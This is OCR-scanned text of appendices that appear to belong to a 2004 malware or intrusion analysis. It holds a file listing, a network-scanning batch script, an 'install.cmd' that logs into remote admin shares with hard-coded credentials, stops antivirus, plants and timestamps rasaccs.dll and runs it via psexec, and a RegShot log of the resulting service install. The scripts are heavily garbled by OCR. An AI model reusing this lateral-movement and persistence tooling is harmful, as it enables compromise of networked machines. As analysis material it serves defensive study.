56,975
16
14,734
777
6,120
236
225
220
18,711
507
1,231
4,956
205
17,129
14,271
24,241
143
443
5,188
915
1,756
1,746
29,575
36,005
28,432
345
%6
1,728
43,168
&

=

Type

MS-DOS Batch File
Application

MS-DOS Batch File
MS-DOS Batch File
Application
Application

MS-DOS Batch File
Application
Application
Application
Application Extension
Application
Application
Application
Application Extension
Application
Application
Application
Application
Application
Application

Text Document:
Application

Text Document:
Application

File

Application

MS-DOS Batch File
Text Document:
MS-DOS Batch File
MS-DOS Batch File
MS-DOS Batch File
Application

M5-DOS Batch File
VBScript Script File
VBScript Script File
MS-DOS Batch File
Application Extension
Application
Application

M3-DOS Batch File
M5-DOS Batch File
Text Document

Text Document:

Text Document

Text Document
Application
Application
Application

Windows NT Comm...
Windows NT Comm...
Text Document:
Application Extension
M5-DOS Application

Modified &

2/14/2004 12:08 PM
2/14/2004 12:08 PM
2/14/2004 12:08 PM
2/14/2004 12:09 PM
2/14/2004 12:09 PM
2/14/2004 12:09 PM
2/14/2004 12:09 PM
2/14/2004 12:09 PM
2/14/2004 12:09 PM
2/14/2004 12:09 PM
2/14/2004 12:09 PM
2/14/2004 12:08 PM
2/14/2004 12:09 PM
2/14/2004 12:09 PM
2/14/2004 12:09 PM
2/14/2004 12:09 PM
2/14/2004 12:09 PM
2/14/2004 12:09 PM
2/14/2004 12:09 PM
2/14/2004 12:09 PM
2/14/2004 12:09 PM
2/14/2004 12:20 PM
2(14/2004 12:20 PM
2/14/2004 12:21 PM
2/14/2004 12:23 PM
2/14/2004 12:23 PM
2/14/2004 12:37 PM
2/14/2004 12:52 PM
2/14/2004 12:57 PM
2/14/2004 1:03 PM
2/14/2004 1:29 PM
2/14/2004 1:29 PM
2/14/2004 1:56 PM
2/14/2004 2:04 PM
2/14/2004 2:08 PM
2/14/2004 2:08 PM
2/14/2004 2:08 PM
2/14/2004 2:13 PM
2(14/2004 2:13 PM
2/14/2004 2:13 PM
2/14/2004 2:27 PM
2/14/2004 3:08 PM
2/14/2004 3:54 PM
2/14/2004 4:11 PM
2/14/2004 4:11 PM
2/14/2004 4:12 PM
2/14/2004 4:32 PM
2/14/2004 4:47 PM
2/14/2004 4:51 PM
2/14/2004 5:57 PM
2/14/2004 6:39 PM
2/14/2004 7:03 PM
2/14/2004 7:09 PM
2/14/2004 7:08 PM
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CRC32

125C3F19
E52FEA4D
EEBSDS538
SD2AS1ER
B3DEB326C
243D12C3
91679F62
SBFTH4CE
71DO3BCE
C905F0ES
E666FABD
1FSB4AC2
B914E12E
DESDO3E1
111BD5E3
G6B202A7F
EBOEEDEF
TDFADCB?
C4345458
0D2B71CA
23433F49
OFE43C24
T902CDES
7D3D3F5C
BE100493A
370E0834
OOFEEC2C
D3637019
66207EA4
2647F0CS
AZEFETIC
B193729A
34406FTE
0451C3C7
092F5085
0CA1AZ264
E4EBED 14
F131097F
GB073568
19E20FCE
EEABESAZ
7125A4EE
00030F70
98C32767
3DC27E3
S5CFCTD4
TB601761
BOSAIF3E
CB97C1A4
FA112935
4843 10ED
C69F62C9
BACSDEOD
92B2D7E4
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Appendix B. ipcscanit.bat

File Edit Format Help

{@echo off

jigoto ir

_II_F II%j-II==IIII (:
echo spcify range or file of ranges
goto :eof

if not exist "¥1" goto :a
for F %%« in (%) do call :a %%«
SE whemn g

copy [%].Txt Sy res.txt

ntsmh res,txt

goto :eof

1a

type nul=[%1].txt

tifscan —gp 445 -z 130 -0 %l.tmp %1
f=can -gp 13%,445 -z 1530 -0 %1.tmp %1

i
for A "tokens=1" %%a in (%l.tmp) do call :find %1 %%a
del 1. tmps g =nul

goto :eof

:Tind

it "¥2"=="scan' goto :eof
if "¥2"=="Time" goto :eof

findstr %2 [¥1].txt >nul
i "®errorlevelx"=="1" [
echo %2
echo ®2>>[%1].txt
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Appendix C. install.cmd

File Edit Format Help

@acho off

echo =P, ;P_,EPOExOEZ0EM3EM-ZEP(ETu! [JE_YQZME5S34#@CI~. 8' uxCISZ[SC5. bM!Cxachos. com
for “Eukens=l,2,3 delims=:" %%i in (ntsmb.txt) do call :share %% "%xj" 2xk
[qoto eo

:share

echo.

echo %1:%~-2:%3

echos "Connecting.”

net use \\%1\ipcg AurtE2Y B3| Findstr "succEnul
it ®errorlevel® == 0 goto :=skip

goto :eof

iskip
echos "."

it exist “AElhvadmingssystem3zhrasaces.d11 echos "Exists" &% goto :end
if not exist “MW¥lwadmin$d echos ".No ADMINS" && goto :end

psexec wWhwW¥L omd.exe fc wver|findstr A1 Scoiversion 4.0":nul

if %errorlevel¥%==0 echos ".NT4" && goto :end

serv stop mcshield %1 =nul

echos .

copy rasaccos.d1T1 “AELvadmingssystem32h, »nul

tuﬁch :F”\\%l\admﬁn$\system32\ntdus.sys “oakLvadminghsystem32hrasaces. dll=nul
echos .

psexec %L rundl132 rasaccs.dl11,RundlTInstall

::d§1 SakLvadmingsystem3zhrasaces.dl1=nul

ren

net use W&l Ad Ay o=nul

iiechos LM
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Appendix D. RegShot — Rasaccs.dll

REGSHOT LOG 1.6le5

Comments:

Datetime:2004/6/13 20:49:12 , 2004/6/13 20:53:39
Computer:TEST1 , TEST1

Username: ,

HKEY LOCAL MACHINE\SYSTEM\ControlSet0O0l\Services\RasAuto

HKEY LOCAL MACHINE\SYSTEM\ControlSet00l\Services\RasAuto\Parameters
HKEY LOCAL MACHINE\SYSTEM\ControlSetOOl\Services\RasAuto\Security

HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Services\RasAuto

HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Services\RasAuto\Parameters
HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Services\RasAuto\Security

HKEY LOCAL MACHINE\SYSTEM\ControlSet0Ol\Control\SafeBoot\Minimal\Rasauto

HKEY LOCAL MACHINE\SYSTEM\ControlSet0O0l\Control\SafeBoot\Network\Rasauto

HKEY LOCAL MACHINE\SYSTEM\ControlSet0Ol\Enum\Root\LEGACY PSEXESVC

HKEY LOCAL MACHINE\SYSTEM\ControlSet00l\Enum\Root\LEGACY PSEXESVC\0000

HKEY LOCAL MACHINE\SYSTEM\ControlSet00l\Enum\Root\LEGACY PSEXESVC\0000\Control
HKEY LOCAL MACHINE\SYSTEM\ControlSet00l\Enum\Root\LEGACY RASAUTO

HKEY LOCAL MACHINE\SYSTEM\ControlSet00l\Enum\Root\LEGACY RASAUTO\0000

HKEY LOCAL MACHINE\SYSTEM\ControlSet0O0l\Enum\Root\LEGACY RASAUTO\0000\Control
HKEY_ LOCAL_MACHINE\SYSTEM\ControlSet00l\Services\Rasauto

HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\Rasauto

HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Rasauto

HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Enum\Root\LEGACY PSEXESVC

HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Enum\Root\LEGACY PSEXESVC\0000

HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Enum\Root\LEGACY PSEXESVC\0000\Control
HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Enum\Root\LEGACY RASAUTO

HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Enum\Root\LEGACY RASAUTO\0000

HKEY LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\Root\LEGACY RASAUTO\0000\Control
HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Services\Rasauto

HKEY USERS\S-1-5-21-527237240-329068152-839522115-
500\Software\Microsoft\Windows\CurrentVersion\Explorer\Streams\25

HKEY_ LOCAL_MACHINE\SYSTEM\ControlSet0Ol\Services\RasAuto\Security\Security: 01 00 14 80
A0 00 00 00 AC 00 00 00 14 00 00 00 30 00 00 00 02 00 1C 00 01 00 00 00 02 80 14 00 FF 01
OF 00 01 01 00 00 00 00 00 01 00 00 00 00 02 00 70 00 04 00 00 OO 00 00 18 00 FD 01 02 00
01 01 00 00 00 00 00 05 12 00 00 00 20 02 00 00 00 00 1C 00 FF O1 OF 00 01 02 00 00 00 00
00 05 20 00 00 00 20 02 00 00 00 00 00 0O 0O 0O 18 00 8D 01 02 00 01 01 00 00 00 00 00 05
0B 00 00 00 20 02 00 00 00 00 1C 00 FD 01 02 00 01 02 00 00 00 00 00 05 20 00 00 00 23 02
00 00 00 00 00 00 01 01 00 00 00 00 00 05 12 00 00 00 01 01 00 00 00 00 00 05 12 00 00 00
HKEY LOCAL MACHINE\SYSTEM\ControlSet0Ol\Services\RasAuto\Parameters\ServiceDll:
"$SystemRoot%\System32\rasauto.dll"

HKEY_ LOCAL_MACHINE\SYSTEM\ControlSet00l\Services\RasAuto\Type: 0x00000120

HKEY LOCAL MACHINE\SYSTEM\ControlSet0Ol\Services\RasAuto\Start: 0x00000003

HKEY LOCAL MACHINE\SYSTEM\ControlSet0OOl\Services\RasAuto\ErrorControl: 0x00000001

HKEY LOCAL MACHINE\SYSTEM\ControlSet00l\Services\RasAuto\ImagePath:
"$SystemRoot%\System32\svchost.exe -k netsvcs"

HKEY LOCAL MACHINE\SYSTEM\ControlSet0Ol\Services\RasAuto\DisplayName: "Remote Access Auto
Connection Manager"

HKEY LOCAL MACHINE\SYSTEM\ControlSet00l\Services\RasAuto\DependOnService:
'RasManrTapisrv'

HKEY LOCAL MACHINE\SYSTEM\ControlSet0Ol\Services\RasAuto\DependOnGroup: 00

HKEY LOCAL MACHINE\SYSTEM\ControlSet(00l\Services\RasAuto\ObjectName: "LocalSystem"
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HKEY LOCAL MACHINE\SYSTEM\ControlSet0Ol\Services\RasAuto\Description: "Creates a
connection to a remote network whenever a program references a remote DNS or NetBIOS name
or address."

HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Enum\SW\{b7eafdc0-a680-11d0-96d8-
002a0051e51d}\{9B365890-165F-11D0-A195-0020AFD156E4}\Control\DeviceReference: 0x811D2550
HKEY_ LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\kmixer\Enum\0: "SW\{b7eafdc0-a680-
11d0-96d8-002a0051e51d}\{9B365890-165F-11D0-A195-0020AFD156E4}"

HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Services\RasAuto\Security\Security: 01 00 14
80 A0 00 00 00 AC 00 00 00 14 00 00 00 30 00 00 00 02 00 1C 00 O1 00 OO0 00 02 80 14 00 FF
01 OF 00 01 01 00 00 00 00 00 01 00 00 0O 00 02 00 70 00 04 00 OO0 00 00 00 18 00 FD 01 02
00 01 01 00 00O 00 00 00 05 12 00 00 00 20 02 00 00 00 00 1C 00 FF 01 OF 00 01 02 00 00 00
00 00 05 20 00 00 00 20 02 00 00 00 OO 0O 0O 0O 00 18 00 8D 01 02 00 01 01 00 00 00 0O 0O
05 0B 00 00 00 20 02 00 00 00 00 1C 00 FD 01 02 00 01 02 00 00 00 00 00 05 20 00 00 00 23
02 00 00 00 00O 00 00 01 01 00 00 00 00 0O 05 12 00 00 00O O1 01 OO OO OO0 00 00 05 12 00 00
00

HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Services\RasAuto\Parameters\ServiceDll:
"$SystemRoot¥\System32\rasauto.dll"

HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Services\RasAuto\Type: 0x00000120

HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Services\RasAuto\Start: 0x00000003

HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Services\RasAuto\ErrorControl: 0x00000001
HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Services\RasAuto\ImagePath:
"$SystemRoot%\System32\svchost.exe -k netsvcs"

HKEY LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RasAuto\DisplayName: "Remote Access
Auto Connection Manager"

HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Services\RasAuto\DependOnService:
'RasManrTapisrv'

HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Services\RasAuto\DependOnGroup: 00

HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Services\RasAuto\ObjectName: "LocalSystem"
HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Services\RasAuto\Description: "Creates a
connection to a remote network whenever a program references a remote DNS or NetBIOS name
or address."

HKEY LOCAL MACHINE\SYSTEM\ControlSet0Ol\Control\SafeBoot\Minimal\Rasauto\: "Service"

HKEY LOCAL MACHINE\SYSTEM\ControlSet0Ol\Control\SafeBoot\Network\Rasauto\: "Service"

HKEY LOCAL MACHINE\SYSTEM\ControlSet00l\Enum\Root\LEGACY PSEXESVC\0000\Control\*NewlyCrea
ted*: 0x00000000

HKEY LOCAL_MACHINE\SYSTEM\ControlSet00l\Enum\Root\LEGACY_ PSEXESVC\0000\Control\ActiveServ
ice: "PSEXESVC"

HKEY_ LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\Root\LEGACY PSEXESVC\0000\Service:
"PSEXESVC"

HKEY LOCAL_MACHINE\SYSTEM\ControlSet00l\Enum\Root\LEGACY_ PSEXESVC\0000\Legacy: 0x00000001
HKEY LOCAL MACHINE\SYSTEM\ControlSet00l\Enum\Root\LEGACY PSEXESVC\0000\ConfigFlags:
0x00000000

HKEY LOCAL MACHINE\SYSTEM\ControlSet00l\Enum\Root\LEGACY PSEXESVC\0000\Class:
"LegacyDriver"

HKEY LOCAL MACHINE\SYSTEM\ControlSet00l\Enum\Root\LEGACY PSEXESVC\0000\ClassGUID:
"{8ECC055D-047F-11D1-A537-0000F8753ED1}"

HKEY LOCAL MACHINE\SYSTEM\ControlSet00l\Enum\Root\LEGACY PSEXESVC\0000\DeviceDesc:
"PSEXESVC"

HKEY LOCAL MACHINE\SYSTEM\ControlSet00l\Enum\Root\LEGACY PSEXESVC\NextInstance:
0x00000001

HKEY LOCAL MACHINE\SYSTEM\ControlSet00l\Enum\Root\LEGACY RASAUTO\0000\Control\*NewlyCreat
ed*: 0x00000000

HKEY LOCAL MACHINE\SYSTEM\ControlSet0O0l\Enum\Root\LEGACY RASAUTO\0000\Control\ActiveServi
ce: "Rasauto"

HKEY LOCAL MACHINE\SYSTEM\ControlSet0O0l\Enum\Root\LEGACY RASAUTO\0000\Service: "Rasauto"
HKEY_ LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\Root\LEGACY RASAUTO\0000\Legacy: 0x00000001
HKEY_ LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\Root\LEGACY RASAUTO\0000\ConfigFlags:
0x00000000

HKEY LOCAL_ MACHINE\SYSTEM\ControlSet001\Enum\Root\LEGACY RASAUTO\0000\Class:
"LegacyDriver"

HKEY LOCAL MACHINE\SYSTEM\ControlSet0O0l\Enum\Root\LEGACY RASAUTO\0000\ClassGUID:
"{8ECC055D-047F-11D1-A537-0000F8753ED1}"

HKEY LOCAL MACHINE\SYSTEM\ControlSet00l\Enum\Root\LEGACY RASAUTO\0000\DeviceDesc: "Remote
Access Auto Connection Manager"

HKEY LOCAL_MACHINE\SYSTEM\ControlSet00l\Enum\Root\LEGACY RASAUTO\NextInstance: 0x00000001
HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\Rasauto\: "Service"
HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Rasauto\: "Service"
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HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Enum\Root\LEGACY PSEXESVC\0000\Control\*Newly
Created*: 0x00000000

HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Enum\Root\LEGACY PSEXESVC\0000\Control\Active
Service: "PSEXESVC"

HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Enum\Root\LEGACY PSEXESVC\0000\Service:
"PSEXESVC"

HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Enum\Root\LEGACY PSEXESVC\0000\Legacy:
0x00000001

HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Enum\Root\LEGACY PSEXESVC\0000\ConfigFlags:
0x00000000

HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Enum\Root\LEGACY PSEXESVC\0000\Class:
"LegacyDriver"

HKEY_ LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_ PSEXESVC\0000\ClassGUID:
"{8ECC055D-047F-11D1-A537-0000F8753ED1 }"

HKEY_ LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_ PSEXESVC\0000\DeviceDesc:
"PSEXESVC"

HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Enum\Root\LEGACY PSEXESVC\NextInstance:
0x00000001

HKEY_ LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\Root\LEGACY RASAUTO\0000\Control\*NewlyC
reated*: 0x00000000

HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Enum\Root\LEGACY RASAUTO\0000\Control\Actives
ervice: "Rasauto"

HKEY_ LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\Root\LEGACY RASAUTO\0000\Service:
"Rasauto"

HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Enum\Root\LEGACY RASAUTO\0000\Legacy:
0x00000001

HKEY_ LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\Root\LEGACY RASAUTO\0000\ConfigFlags:
0x00000000

HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Enum\Root\LEGACY RASAUTO\0000\Class:
"LegacyDriver"

HKEY_ LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\Root\LEGACY RASAUTO\0000\ClassGUID:
"{8ECC055D-047F-11D1-A537-0000F8753ED1}"

HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Enum\Root\LEGACY RASAUTO\0000\DeviceDesc:
"Remote Access Auto Connection Manager"

HKEY_ LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\Root\LEGACY RASAUTO\NextInstance:
0x00000001

HKEY USERS\S-1-5-21-527237240-329068152-839522115~-
500\Software\Microsoft\Windows\CurrentVersion\Explorer\StreamMRU\25: 14 00 1F 48 BA 8F 0D
45 25 AD DO 11 98 A8 08 00 36 1B 11 03 00 00

HKEY USERS\S-1-5-21-527237240-329068152-839522115-
500\Software\Microsoft\Windows\CurrentVersion\Explorer\Streams\25\CabVview: 5C 00 00 00 00
00 00 00 01 00 00 00 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF 16 00 00 00 16 00 00
00 A4 02 00 00 36 02 00 00 01 00 00 00 0O 0O 00 00 CO 5C OF 00 OO0 00 00 00 96 FE BD 06 07
00 00 00 EO DO 57 00 73 35 CF 11 AE 69 08 00 2B 2E 12 62 01 00 00 00 00 00 00 00

HKEY USERS\S-1-5-21-527237240-329068152-839522115~-
500\Software\Microsoft\Windows\CurrentVersion\Explorer\Streams\25\ViewView2: 1C 00 00 00
01 00 00 00 00 00 OO0 00 0O 00 30 00 00 00 00 00 01 00 00 OO0 FF FF FF FF FO FO FO FO 14 00
03 00 30 00 00 00 0O 00 0O 00 00 00 00 0O

HKEY LOCAL MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Reliability\LastAliveStamp:
D4 07 06 00 00 00 OD 00 14 00 2D 00 28 00 53 00

HKEY LOCAL MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Reliability\LastAliveStamp:
D4 07 06 00 00 00 OD 00 14 00 32 00 28 00 DF 00

HKEY LOCAL MACHINE\SYSTEM\ControlSet00l\Control\ServiceCurrent\: 0x0000000A

HKEY LOCAL MACHINE\SYSTEM\ControlSet00l\Control\ServiceCurrent\: 0x0000000C

HKEY LOCAL MACHINE\SYSTEM\ControlSet0O0l\Services\Dhcp\Parameters\{299A7B54-3C6D-4F96-
AE11-B9AA3534AD2C}: 2C 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 A7 C1 CC 40 CO A8 D1
02 06 00 00 00 00 OO 00O OO 04 00 00 00 00 00 00 00 A7 C1 CC 40 CO A8 D1 02 03 00 00 00 00
00 00 00 04 00 00 00 00 00 00 00 A7 C1 CC 40 CO A8 D1 02 OF 00 00 00 00 00 00 00 OB 00 00
00 00 00 00 00 A7 Cl1 CC 40 6C 6F 63 61 6C 64 6F 6D 61 69 6E 00 01 00 00 00 00 00 00 00 04
00 00 00 00 00 00 00 A7 C1 CC 40 FF FF FF 00 33 00 00 00 00 00 00 00 04 00 00 00 00 00 00
00 A7 C1 CC 40 00 00 07 08 36 00 00 00 00 00 00 00 04 00 00 00 OO0 00 00 00 A7 C1 CC 40 CO
A8 D1 FE 35 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 A7 Cl1 CC 40 05 00 00 00

HKEY LOCAL MACHINE\SYSTEM\ControlSet0Ol\Services\Dhcp\Parameters\{299A7B54-3C6D-4F96—
AE11-B9AA3534AD2C}: 2C 00 00 00 00 00 0O 0O 04 00 00 00 00 00 00 00 2B C5 CC 40 CO A8 D1
02 06 00 00 00 00 OO 00 OO 04 00 00 00 00 00 00 00 2B C5 CC 40 CO A8 D1 02 03 00 00 00 00
00 00 00 04 00 00 00 00 00 00 00 2B C5 CC 40 CO A8 D1 02 OF 00 00 00 00 00 00 00 OB 00 00
00 00 00 00 00 2B C5 CC 40 6C 6F 63 61 6C 64 6F 6D 61 69 6E 00 01 00 00 00 00 00 00 00 04
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00 00 00 00 00 00 00 2B C5 CC 40 FF FF FF 00 33 00 00 00 00 00 00O 00 04 00 00 00 00 00 00
00 2B C5 CC 40 00 00 07 08 36 00 00 00 00 00 00 00 04 00 00 OO OO OO0 00 00 2B C5 CC 40 CO
A8 D1 FE 35 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 2B C5 CC 40 05 00 00 00

HKEY LOCAL MACHINE\SYSTEM\ControlSetOOl\Services\Tcpip\Parameters\Interfaces\{299A7B54~
3C6D-4F96-AE11-B9AA3534AD2C} \LeaseObtainedTime: 0x40CCBASF

HKEY_ LOCAL_MACHINE\SYSTEM\ControlSet00l\Services\Tcpip\Parameters\Interfaces\{299A7B54~
3C6D-4F96-AE11-B9AA3534AD2C} \LeaseObtainedTime: 0x40CCBE23

HKEY LOCAL MACHINE\SYSTEM\ControlSetOOl\Services\Tcpip\Parameters\Interfaces\{299A7B54~-
3C6D-4F96-AE11-B9AA3534AD2C}\T1: 0x40CCBE23

HKEY_ LOCAL_MACHINE\SYSTEM\ControlSet00l\Services\Tcpip\Parameters\Interfaces\{299A7B54~
3C6D-4F96-AE11-BY9AA3534AD2C}\T1: 0x40CCCI1A7

HKEY LOCAL MACHINE\SYSTEM\ControlSetOOl\Services\Tcpip\Parameters\Interfaces\{299A7B54-
3C6D-4F96-AE11-BO9AA3534AD2C}\T2: 0x40CCCOC6

HKEY LOCAL MACHINE\SYSTEM\ControlSet00l\Services\Tcpip\Parameters\Interfaces\{299A7B54~
3C6D-4F96-AE11-B9AA3534AD2C}\T2: 0x40CCC44A

HKEY LOCAL MACHINE\SYSTEM\ControlSet0Ol\Services\Tcpip\Parameters\Interfaces\{299A7B54~
3C6D-4F96-AE11-B9AA3534AD2C} \LeaseTerminatesTime: 0x40CCC1A7

HKEY LOCAL MACHINE\SYSTEM\ControlSet00l\Services\Tcpip\Parameters\Interfaces\{299A7B54~
3C6D-4F96-AE11-B9AA3534AD2C} \LeaseTerminatesTime: 0x40CCC52B

HKEY LOCAL MACHINE\SYSTEM\ControlSet00l\Services\{299A7B54-3C6D-4F96-AE1l-

BO9AA3534AD2C} \Parameters\Tcpip\LeaseObtainedTime: 0x40CCBAIF

HKEY LOCAL MACHINE\SYSTEM\ControlSet00l\Services\{299A7B54-3C6D-4F96-AE11l-

B9AA3534AD2C} \Parameters\Tcpip\LeaseObtainedTime: 0x40CCBE23

HKEY LOCAL MACHINE\SYSTEM\ControlSet00l\Services\{299A7B54-3C6D-4F96-AE1l-

BO9AA3534AD2C} \Parameters\Tcpip\Tl: 0x40CCBE23

HKEY LOCAL MACHINE\SYSTEM\ControlSet00l\Services\{299A7B54-3C6D-4F96-AE11l-

B9AA3534AD2C} \Parameters\Tcpip\T1l: 0x40CCC1lA7

HKEY LOCAL MACHINE\SYSTEM\ControlSet00l\Services\{299A7B54-3C6D-4F96-AE1l-

BY9AA3534AD2C} \Parameters\Tcpip\T2: 0x40CCCOC6

HKEY LOCAL MACHINE\SYSTEM\ControlSet00l\Services\{299A7B54-3C6D-4F96-AE11l-

B9AA3534AD2C} \Parameters\Tcpip\T2: 0x40CCC44A

HKEY LOCAL MACHINE\SYSTEM\ControlSet00l\Services\{299A7B54-3C6D-4F96-AE1l-

B9AA3534AD2C} \Parameters\Tcpip\LeaseTerminatesTime: O0x40CCC1A7

HKEY LOCAL MACHINE\SYSTEM\ControlSet00l\Services\{299A7B54-3C6D-4F96-AE11l-

B9AA3534AD2C} \Parameters\Tcpip\LeaseTerminatesTime: 0x40CCC52B

HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Control\ServiceCurrent\: 0x0000000A

HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Control\ServiceCurrent\: 0x0000000C

HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Services\Dhcp\Parameters\{299A7B54-3C6D-4F96—
AE11-B9AA3534AD2C}: 2C 00 00 00 00 00 0O 0O 04 00 00 00 00 00 00 00 A7 C1 CC 40 CO A8 D1
02 06 00 00 00 00 00O 00 OO 04 00 00 00 00 00 00 00 A7 C1 CC 40 CO A8 D1 02 03 00 00 00 00
00 00 00 04 00 00 00 00 00 00 00 A7 C1 CC 40 CO A8 D1 02 OF 00 00 00 00 00 00 00 OB 00 00
00 00 00 00 00 A7 Cl1 CC 40 6C 6F 63 61 6C 64 6F 6D 61 69 6E 00 01 00 00 00 00 00 00 00 04
00 00 00 00 00 00 00 A7 C1 CC 40 FF FF FF 00 33 00 00 00 00 00 00 00 04 00 00 00 00 00 00
00 A7 Cl1 CC 40 00 00 07 08 36 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 A7 C1 CC 40 cCO
A8 D1 FE 35 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 A7 C1 CC 40 05 00 00 00

HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Services\Dhcp\Parameters\{299A7B54-3C6D-4F96—
AE11-B9AA3534AD2C}: 2C 00 00 00 00 00 0O 0O 04 00 00 00 00 00 00 00 2B C5 CC 40 CO A8 D1
02 06 00 00 00 00 OO 00 OO 04 00 00 00 00 00 00 00 2B C5 CC 40 CO A8 D1 02 03 00 00 00 00
00 00 00 04 00 00 00 00 00 00 00 2B C5 CC 40 CO A8 D1 02 OF 00 00 00 00 00 00 00 OB 00 00
00 00 00 00 00 2B C5 CC 40 6C 6F 63 61 6C 64 6F 6D 61 69 6E 00 01 00 00 00 00 00 00 00 04
00 00 00 00 00 00 00 2B C5 CC 40 FF FF FF 00 33 00 00 00 00 00 OO 00 04 00 00 00 00 00 00
00 2B C5 CC 40 00 00 07 08 36 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 2B C5 CC 40 CO
A8 D1 FE 35 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 2B C5 CC 40 05 00 00 00

HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Services\kmixer\Enum\Count: 0x00000001

HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Services\kmixer\Enum\Count: 0x00000000

HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Services\kmixer\Enum\NextInstance: 0x00000001
HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Services\kmixer\Enum\NextInstance: 0x00000000
HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{299A7B5
4-3C6D-4F96-AE11-B9AA3534AD2C} \LeaseObtainedTime: 0x40CCBASF

HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{299A7B5
4-3C6D-4F96-AE11-B9AA3534AD2C} \LeaseObtainedTime: 0x40CCBE23

HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{299A7B5
4-3C6D-4F96-AE11-B9AA3534AD2C}\T1l: 0x40CCBE23

HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{299A7B5
4-3C6D-4F96-AE11-B9AA3534AD2C}\T1l: 0x40CCC1A7

HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{299A7B5
4-3C6D-4F96-AE11-B9AA3534AD2C}\T2: 0x40CCCOC6

HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{299A7B5
4-3C6D-4F96-AE11-B9AA3534AD2C}\T2: 0x40CCC44A

HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{299A7B5
4-3C6D-4F96-AE11-B9AA3534AD2C} \LeaseTerminatesTime: 0x40CCC1A7
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HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{299A7B5
4-3C6D-4F96-AE11-B9AA3534AD2C} \LeaseTerminatesTime: 0x40CCC52B
HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Services\{299A7B54-3C6D-4F96-AE1l~-
B9AA3534AD2C} \Parameters\Tcpip\LeaseObtainedTime: 0x40CCBAIF
HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Services\{299A7B54-3C6D-4F96-AE1l-
B9AA3534AD2C} \Parameters\Tcpip\LeaseObtainedTime: 0x40CCBE23
HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Services\{299A7B54-3C6D-4F96-AE1l~-
